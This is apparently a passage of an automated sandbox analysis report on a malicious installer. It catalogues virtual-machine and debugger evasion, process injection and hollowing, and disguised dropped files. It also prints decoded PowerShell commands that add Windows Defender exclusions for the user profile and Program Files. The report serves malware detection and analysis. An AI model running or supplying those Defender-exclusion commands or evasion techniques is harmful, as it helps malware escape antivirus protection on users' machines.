Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect virtualization through RDTSC time measurements

Source: C:\Windows\GoogleUpdate.exe	RDTSC instruction interceptor: First address: 0000000003434B4D second address: 0000000003434B5C instructions: 0x00000000 rdtsc 0x00000002 movzx dx, bl 0x00000006 bswap eax 0x00000008 inc cl 0x0000000a setnle dh 0x0000000d xor bl, cl 0x0000000f rdtsc
Source: C:\Windows\GoogleUpdate.exe	RDTSC instruction interceptor: First address: 000000000310F2D0 second address: 000000000310F2DF instructions: 0x00000000 rdtsc 0x00000002 movzx dx, bl 0x00000006 bswap eax 0x00000008 inc cl 0x0000000a setnle dh 0x0000000d xor bl, cl 0x0000000f rdtsc
Source: C:\Windows\GoogleUpdate.exe	RDTSC instruction interceptor: First address: 000000000325C131 second address: 000000000325C135 instructions: 0x00000000 rdtsc 0x00000002 pop ebx 0x00000003 pop ecx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	RDTSC instruction interceptor: First address: 0000000001D438A8 second address: 0000000001D438C5 instructions: 0x00000000 rdtsc 0x00000002 cwd 0x00000004 inc cl 0x00000006 shl dh, 00000041h 0x00000009 xor cl, 00000001h 0x0000000c bts eax, ebp 0x0000000f cmp ah, dl 0x00000011 cmp ebp, 77E8621Fh 0x00000017 add cl, 00000044h 0x0000001a movzx edx, di 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	RDTSC instruction interceptor: First address: 0000000001BB3BC3 second address: 0000000001A8FB21 instructions: 0x00000000 rdtsc 0x00000002 or ax, sp 0x00000005 mov eax, dword ptr [ebp+04h] 0x00000008 add dh, FFFFFFAAh 0x0000000b and edx, ebx 0x0000000d add ebp, 00000008h 0x00000013 xchg dx, dx 0x00000016 mov dword ptr [ecx], eax 0x00000019 lea esi, dword ptr [esi-00000004h] 0x0000001f sar dh, cl 0x00000021 sal dh, FFFFFFCBh 0x00000024 not dh 0x00000026 mov edx, dword ptr [esi] 0x00000028 clc 0x00000029 xor edx, ebx 0x0000002b clc 0x0000002c sub edx, 6093739Dh 0x00000032 ror edx, 1 0x00000034 jmp 00007F79446D5A15h 0x00000039 inc edx 0x0000003a clc 0x0000003b test ecx, ecx 0x0000003d test di, 52C5h 0x00000042 bswap edx 0x00000044 clc 0x00000045 xor ebx, edx 0x00000047 test bp, 12C0h 0x0000004c cmp sp, 68D6h 0x00000051 add edi, edx 0x00000053 push edi 0x00000054 ret 0x00000055 lea esi, dword ptr [esi-00000001h] 0x0000005b neg eax 0x0000005d rdtsc

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 6056	Thread sleep count: 9342 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 5160	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe TID: 636	Thread sleep count: 51 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe TID: 636	Thread sleep time: -510000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe TID: 3800	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2888	Thread sleep count: 9494 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1556	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\ofg.exe TID: 1708	Thread sleep count: 2161 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe TID: 3212	Thread sleep time: -120000s >= -30000s
Source: C:\Users\user\AppData\Local\Google\ofg.exe TID: 4864	Thread sleep count: 473 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5792	Thread sleep count: 696 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5972	Thread sleep count: 8927 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5428	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep count: 8863 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5384	Thread sleep time: -7378697629483816s >= -30000s
Source: C:\Windows\GoogleUpdate.exe TID: 5356	Thread sleep time: -600000s >= -30000s
Source: C:\Windows\GoogleUpdate.exe TID: 4840	Thread sleep time: -35840s >= -30000s
Source: C:\Users\user\AppData\Local\Google\chrome.exe TID: 5712	Thread sleep time: -120000s >= -30000s

Source: C:\Users\user\AppData\Local\Google\ofg.exe

Thread sleep count: Count: 2161 delay: -10

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\GoogleUpdate.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\GoogleUpdate.exe	Thread delayed: delay time: 300000

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Window / User API: threadDelayed 9342	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9494	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Window / User API: threadDelayed 2161	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Window / User API: threadDelayed 473
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 696
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8927
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8863

Source: C:\Users\user\AppData\Local\Google\brave.exe

API coverage: 9.5 %

Source: C:\Users\user\AppData\Local\Google\brave.exe	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\updater.exe			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\svchost.exe			Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Registry key enumerated: More than 149 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Thread delayed: delay time: 120000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\GoogleUpdate.exe	Thread delayed: delay time: 300000
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Thread delayed: delay time: 120000

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\softwareinstaller.exe

Code function: 0_2_00D314C0 GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00D314C0

Source: C:\Users\user\Desktop\softwareinstaller.exe

Code function: 0_2_00D3716C mov eax, dword ptr fs:[00000030h]

0_2_00D3716C

Source: C:\Users\user\AppData\Local\Google\chrome.exe

Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Google\brave.exe

Code function: 13_2_00007FF755E96EE0 GetLastError,FormatMessageA,IsDebuggerPresent,OutputDebugStringA,OutputDebugStringA,OutputDebugStringA,LocalFree,

13_2_00007FF755E96EE0

Source: C:\Users\user\AppData\Local\Google\brave.exe

Code function: 13_2_00007FF755E96EE0 GetLastError,FormatMessageA,IsDebuggerPresent,OutputDebugStringA,OutputDebugStringA,OutputDebugStringA,LocalFree,

13_2_00007FF755E96EE0

Source: C:\Users\user\AppData\Local\Google\brave.exe

Code function: 13_2_00007FF755E843C0 SHGetFolderPathW,GetFileSize,GetProcessHeap,HeapAlloc,RtlAllocateHeap,

13_2_00007FF755E843C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\softwareinstaller.exe	Code function: 0_2_00D3115C Sleep,Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,GetStartupInfoA,_cexit,_initterm,exit,	0_2_00D3115C
Source: C:\Users\user\Desktop\softwareinstaller.exe	Code function: 0_2_00D31150 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,	0_2_00D31150
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 13_2_00007FF755E81190 Sleep,Sleep,SetUnhandledExceptionFilter,malloc,malloc,memcpy,_initterm,GetStartupInfoW,exit,	13_2_00007FF755E81190

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\Google\brave.exe

Section loaded: C:\Users\user\AppData\Local\Temp\66BC.tmp target: unknown protection: readonly

Jump to behavior

Encrypted powershell cmdline option found

Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath @('C:\Users\Revelin', 'C:\Program Files') -Force
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: Base64 decoded Set-MpPreference -SubmitSamplesConsent 2
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath @('C:\Users\Revelin', 'C:\Program Files') -Force
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: Base64 decoded Set-MpPreference -SubmitSamplesConsent 2

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\softwareinstaller.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 4810000 protect: page execute and read and write			Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory allocated: C:\Windows\GoogleUpdate.exe base: 1100000 protect: page execute and read and write

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\softwareinstaller.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 4810000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory written: C:\Windows\GoogleUpdate.exe base: 1100000 value starts with: 4D5A

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\softwareinstaller.exe

Code function: 0_2_00D371A1 CreateProcessW,GetThreadContext,ReadProcessMemory,VirtualAlloc,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualProtectEx,VirtualFree,WriteProcessMemory,SetThreadContext,ResumeThread,

0_2_00D371A1

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force			Jump to behavior

Sample uses process hollowing technique

Source: C:\Users\user\AppData\Local\Google\chrome.exe

Section unmapped: C:\Windows\System32\conhost.exe base address: 1100000

Writes to foreign memory regions

Source: C:\Users\user\Desktop\softwareinstaller.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 4810000	Jump to behavior
Source: C:\Users\user\Desktop\softwareinstaller.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 4750008	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\brave.exe	Memory written: C:\Windows\System32\dialer.exe base: 7C6DEC4010	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory written: C:\Windows\GoogleUpdate.exe base: 1100000
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory written: C:\Windows\GoogleUpdate.exe base: 1101000
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory written: C:\Windows\GoogleUpdate.exe base: 1111000
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory written: C:\Windows\GoogleUpdate.exe base: 1680000
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory written: C:\Windows\GoogleUpdate.exe base: 1682000
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory written: C:\Windows\GoogleUpdate.exe base: 168F000

.NET source code references suspicious native API functions

Source: 0.3.softwareinstaller.exe.d70000.0.unpack, MemoryImport.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibraryA@kernel32.dll')
Source: conchsvt.exe.2.dr, opportunity/thin.cs	Reference to suspicious API methods: ('customer', 'ReadProcessMemory@kernel32.dll'), ('era', 'OpenProcess@kernel32.dll')
Source: 12.0.conchsvt.exe.370000.0.unpack, opportunity/thin.cs	Reference to suspicious API methods: ('customer', 'ReadProcessMemory@kernel32.dll'), ('era', 'OpenProcess@kernel32.dll')

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Local\Google\brave.exe

Thread register set: target process: 324

Jump to behavior

